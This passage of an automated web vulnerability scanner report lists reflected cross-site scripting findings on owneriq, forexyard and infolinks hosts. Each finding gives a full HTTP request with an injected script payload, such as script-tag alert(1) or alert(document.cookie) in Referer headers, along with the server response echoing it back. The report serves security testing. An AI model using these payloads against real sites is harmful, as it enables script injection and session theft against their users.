Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

4.140. http://px.owneriq.net/anst/s/oiqrmb.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://px.owneriq.net
Path:	/anst/s/oiqrmb.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d556e'%3b0652dbe18d0 was submitted in the REST URL parameter 3. This input was echoed as d556e';0652dbe18d0 in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Request

GET /anst/s/oiqrmb.jsd556e'%3b0652dbe18d0 HTTP/1.1
Host: px.owneriq.net
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; si=7431457a-2008-4af6-823b-5fab70668c12; oxuuid=a9147669-7acb-495a-a7a7-b8a2e6b13599; ss=2n78c.6f2tf.6qa; gguuid=CAESEJ1QzO8syyE54_azrc6wYSw

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Fedora)
X-Powered-By: PHP/5.2.13
Content-Type: application/x-javascript
Vary: Accept-Encoding
Expires: Sat, 05 Feb 2011 22:58:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Sat, 05 Feb 2011 22:58:57 GMT
Connection: close
Content-Length: 2278

function oiq_addPageMfg(s){ window.oiq_pMfg = s; }
function oiq_addPageBrand(s){ window.oiq_pMfg = s; }
function oiq_addPageDT(s) { if(!window.oiq_pDT) {window.oiq_pDT = new Array();} window.oiq_pDT.p
...[SNIP]...
h('d|"'+encodeURIComponent(window.oiq_pDT[i])+'"')}}
           if (window.oiq_pProduct) t.push('p|"'+encodeURIComponent(window.oiq_pProduct)+'"');
}
       var req='http://px.owneriq.net/j/'+'?pt=oiqrmb.jsd556e';0652dbe18d0'+'&t='+encodeURI(t.join());
if (window.oiq_pSource) req+='&s='+window.oiq_pSource;
oiq_is(req);
},1000);
}

function oiq_onclick(m,d,p,s,o) {
   if (!m && !d && !p) return true;
   win
...[SNIP]...

4.141. http://px.owneriq.net/j/ [pt parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://px.owneriq.net
Path:	/j/

Issue detail

The value of the pt request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a4892"%3balert(1)//f99faf2810f was submitted in the pt parameter. This input was echoed as a4892";alert(1)//f99faf2810f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /j/?pt=oiqrmba4892"%3balert(1)//f99faf2810f&t=m%7C%22owneriq%22&s=site HTTP/1.1
Host: px.owneriq.net
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; si=7431457a-2008-4af6-823b-5fab70668c12; oxuuid=a9147669-7acb-495a-a7a7-b8a2e6b13599; ss=2n78c.6f2tf.6qa; gguuid=CAESEJ1QzO8syyE54_azrc6wYSw

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Fedora)
X-Powered-By: PHP/5.2.13
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Sat, 05 Feb 2011 22:31:30 GMT
Connection: close
Content-Length: 1552

function isImageOk(img) { if (!img.complete) { return false; } if (typeof img.naturalWidth != 'undefined' && img.naturalWidth == 0) { return false; } return true; }
var oiq_b = document.getElementsByT
...[SNIP]...
cument.createElement("img");
oiq_i_1.setAttribute("src", "http://px.owneriq.net/p?sid%5B%5D=23331554&sid%5B%5D=53310589&sid%5B%5D=53310594&rid%5B%5D=862779&rid%5B%5D=1133555&rid%5B%5D=1133556&pt=oiqrmba4892";alert(1)//f99faf2810f");
oiq_i_1.setAttribute("width", "1");
oiq_i_1.setAttribute("height", "1");
oiq_f.appendChild(oiq_i_1);
var oiq_i_2 = document.createElement("img");
oiq_i_2.setAttribute("src", "http://bid.openx.net/c
...[SNIP]...

4.142. http://quotes.forexyard.com/iframe5.php [css parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://quotes.forexyard.com
Path:	/iframe5.php

Issue detail

The value of the css request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdb85"><script>alert(1)</script>c67b70ca19 was submitted in the css parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.cssbdb85"><script>alert(1)</script>c67b70ca19&img_prefix=35_30min&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHF&zone_id=4129 HTTP/1.1
Host: quotes.forexyard.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:19 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
P3P: CP="CAO PSA OUR"
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 7329

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FOREXYARD Live Forex
...[SNIP]...
<link rel="stylesheet" type="text/css" href="http://www.forexyard.com/en/css/quotes-chart.cssbdb85"><script>alert(1)</script>c67b70ca19" />
...[SNIP]...

4.143. http://quotes.forexyard.com/iframe5.php [img_prefix parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://quotes.forexyard.com
Path:	/iframe5.php

Issue detail

The value of the img_prefix request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c2da"><script>alert(1)</script>79d70774517 was submitted in the img_prefix parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.css&img_prefix=35_30min9c2da"><script>alert(1)</script>79d70774517&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHF&zone_id=4129 HTTP/1.1
Host: quotes.forexyard.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:22 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
P3P: CP="CAO PSA OUR"
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 7424

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FOREXYARD Live Forex
...[SNIP]...
<a href="chart.php?charts/35_30min9c2da"><script>alert(1)</script>79d70774517/EURUSD.png" onclick="showChartLarge(this.href);return false;" target="chart-large" title="Click to enlarge">
...[SNIP]...

4.144. http://quotes.forexyard.com/iframe5.php [img_prefix parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://quotes.forexyard.com
Path:	/iframe5.php

Issue detail

The value of the img_prefix request parameter is copied into an HTML comment. The payload 521c9--><script>alert(1)</script>05eaf2114c1 was submitted in the img_prefix parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.css&img_prefix=35_30min521c9--><script>alert(1)</script>05eaf2114c1&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHF&zone_id=4129 HTTP/1.1
Host: quotes.forexyard.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:26 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
P3P: CP="CAO PSA OUR"
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 7419

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FOREXYARD Live Forex
...[SNIP]...
<img src="charts/35_30min521c9--><script>alert(1)</script>05eaf2114c1GRAPH_EURUSD_6_DAY_25.png" alt="Large Chart" border="0" />
...[SNIP]...

4.145. http://quotes.forexyard.com/iframe5.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://quotes.forexyard.com
Path:	/iframe5.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 98915"%3balert(1)//f9d420ddf1d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 98915";alert(1)//f9d420ddf1d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.css&img_prefix=35_30min&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHF&zone_id=/98915"%3balert(1)//f9d420ddf1d4129 HTTP/1.1
Host: quotes.forexyard.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:41 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
P3P: CP="CAO PSA OUR"
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 7209

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FOREXYARD Live Forex
...[SNIP]...
<script type="text/javascript">var aff_url = "http://www.forexyard.com/index.php?zone_id=/98915";alert(1)//f9d420ddf1d4129";</script>
...[SNIP]...

4.146. http://quotes.forexyard.com/iframe5.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://quotes.forexyard.com
Path:	/iframe5.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload efa17"><script>alert(1)</script>1c43b63a262 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.css&img_prefix=35_30min&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHF&zone_id=/efa17"><script>alert(1)</script>1c43b63a2624129 HTTP/1.1
Host: quotes.forexyard.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:39 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
P3P: CP="CAO PSA OUR"
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 7407

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FOREXYARD Live Forex
...[SNIP]...
<a href="http://www.forexyard.com/index.php?zone_id=/efa17"><script>alert(1)</script>1c43b63a2624129" target="_parent">
...[SNIP]...

4.147. http://quotes.forexyard.com/iframe5.php [pairs parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://quotes.forexyard.com
Path:	/iframe5.php

Issue detail

The value of the pairs request parameter is copied into an HTML comment. The payload a51bb--><script>alert(1)</script>b772c65691c was submitted in the pairs parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.css&img_prefix=35_30min&pairs=a51bb--><script>alert(1)</script>b772c65691c&zone_id=4129 HTTP/1.1
Host: quotes.forexyard.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:31 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
P3P: CP="CAO PSA OUR"
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 4119

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FOREXYARD Live Forex
...[SNIP]...
<img src="charts/35_30minGRAPH_a51bb--><script>alert(1)</script>b772c65691c_6_DAY_25.png" alt="Large Chart" border="0" />
...[SNIP]...

4.148. http://quotes.forexyard.com/iframe5.php [pairs parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://quotes.forexyard.com
Path:	/iframe5.php

Issue detail

The value of the pairs request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a1837"><script>alert(1)</script>5046a7dd34d was submitted in the pairs parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.css&img_prefix=35_30min&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHFa1837"><script>alert(1)</script>5046a7dd34d&zone_id=4129 HTTP/1.1
Host: quotes.forexyard.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:29 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
P3P: CP="CAO PSA OUR"
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 6827

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FOREXYARD Live Forex
...[SNIP]...
<body onload="initQuotes('quotes', ['EURUSD','USDJPY','AUDUSD','USDCAD','GBPUSD','USDCHFa1837"><script>alert(1)</script>5046a7dd34d'], false)">
...[SNIP]...

4.149. http://quotes.forexyard.com/iframe5.php [zone_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://quotes.forexyard.com
Path:	/iframe5.php

Issue detail

The value of the zone_id request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b6b8d"%3balert(1)//289c9475d9c was submitted in the zone_id parameter. This input was echoed as b6b8d";alert(1)//289c9475d9c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.css&img_prefix=35_30min&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHF&zone_id=4129b6b8d"%3balert(1)//289c9475d9c HTTP/1.1
Host: quotes.forexyard.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:32 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
P3P: CP="CAO PSA OUR"
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 7183

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FOREXYARD Live Forex
...[SNIP]...
<script type="text/javascript">var aff_url = "http://www.forexyard.com/index.php?zone_id=4129b6b8d";alert(1)//289c9475d9c";</script>
...[SNIP]...

4.150. http://quotes.forexyard.com/iframe5.php [zone_id parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://quotes.forexyard.com
Path:	/iframe5.php

Issue detail

The value of the zone_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ef6d3"><script>alert(1)</script>4530cb81810 was submitted in the zone_id parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /iframe5.php?css=http://www.forexyard.com/en/css/quotes-chart.css&img_prefix=35_30min&pairs=EURUSD,USDJPY,AUDUSD,USDCAD,GBPUSD,USDCHF&zone_id=4129ef6d3"><script>alert(1)</script>4530cb81810 HTTP/1.1
Host: quotes.forexyard.com
Proxy-Connection: keep-alive
Referer: http://www.forex-direkt.de/?b35b2--%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7a27f6b27d=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:26:32 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
P3P: CP="CAO PSA OUR"
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive
Content-Length: 7381

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>FOREXYARD Live Forex
...[SNIP]...
<a href="http://www.forexyard.com/index.php?zone_id=4129ef6d3"><script>alert(1)</script>4530cb81810" target="_parent">
...[SNIP]...

4.151. http://router.infolinks.com/gsd/1296944121644.0 [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://router.infolinks.com
Path:	/gsd/1296944121644.0

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 121ed<script>alert(1)</script>8c175286485 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gsd/1296944121644.0?callback=INFOLINKS.gsdCallback121ed<script>alert(1)</script>8c175286485&pid=112737&wsid=0&pdom=www.scare666.com&jsv=209 HTTP/1.1
Host: router.infolinks.com
Proxy-Connection: keep-alive
Referer: http://www.scare666.com/news/gambar6823d%3Cscript%3Ealert(document.cookie)%3C/script%3E3f01d4d8a23
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=0

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: max-age=0
Content-Type: text/javascript;charset=UTF-8
Content-Length: 184
Date: Sat, 05 Feb 2011 22:35:02 GMT
Connection: close

INFOLINKS.gsdCallback121ed<script>alert(1)</script>8c175286485({rs:'rt72.infolinks.com',makey:'4f494d504f474d504c4f4a504c4a4d514f4c4748474a4b4a4c4c484a4c5169767f',ms:'31',scl:false} );

4.152. http://router.infolinks.com/gsd/1296944132032.0 [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://router.infolinks.com
Path:	/gsd/1296944132032.0

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload b7a06<script>alert(1)</script>9e0d94a54f4 was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gsd/1296944132032.0?callback=INFOLINKS.gsdCallbackb7a06<script>alert(1)</script>9e0d94a54f4&pid=112737&wsid=0&pdom=www.scare666.com&jsv=209.1 HTTP/1.1
Host: router.infolinks.com
Proxy-Connection: keep-alive
Referer: http://www.scare666.com/news/gambar6823d%3Cscript%3Ealert(document.cookie)%3C/script%3E3f01d4d8a23
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Cache-Control: max-age=0
Content-Type: text/javascript;charset=UTF-8
Content-Length: 186
Date: Sat, 05 Feb 2011 22:35:10 GMT
Connection: close

INFOLINKS.gsdCallbackb7a06<script>alert(1)</script>9e0d94a54f4({rs:'rt34.infolinks.com',makey:'1214100d121a100d1112170d1117100c12111a151a1716171012131b100c69747473',ms:'31',scl:false} );

4.153. http://router.infolinks.com/gsd/1296944168552.0 [callback parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://router.infolinks.com
Path:	/gsd/1296944168552.0

Issue detail

The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload a702b<script>alert(1)</script>e020ac7d6aa was submitted in the callback parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gsd/1296944168552.0?callback=INFOLINKS.gsdCallbacka702b<script>alert(1)</script>e020ac7d6aa&pid=112737&wsid=0&pdom=www.scare666.com&jsv=209.1 HTTP/1.1
Host: router.infolinks.com
Proxy-Connection: keep-alive
Referer: http://www.scare666.com/news/gambar6823d%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E3f01d4d8a23
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: cuid=11d77bcd-1e56-4ec4-8f17-60b91b3b6392; cnoi=2

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
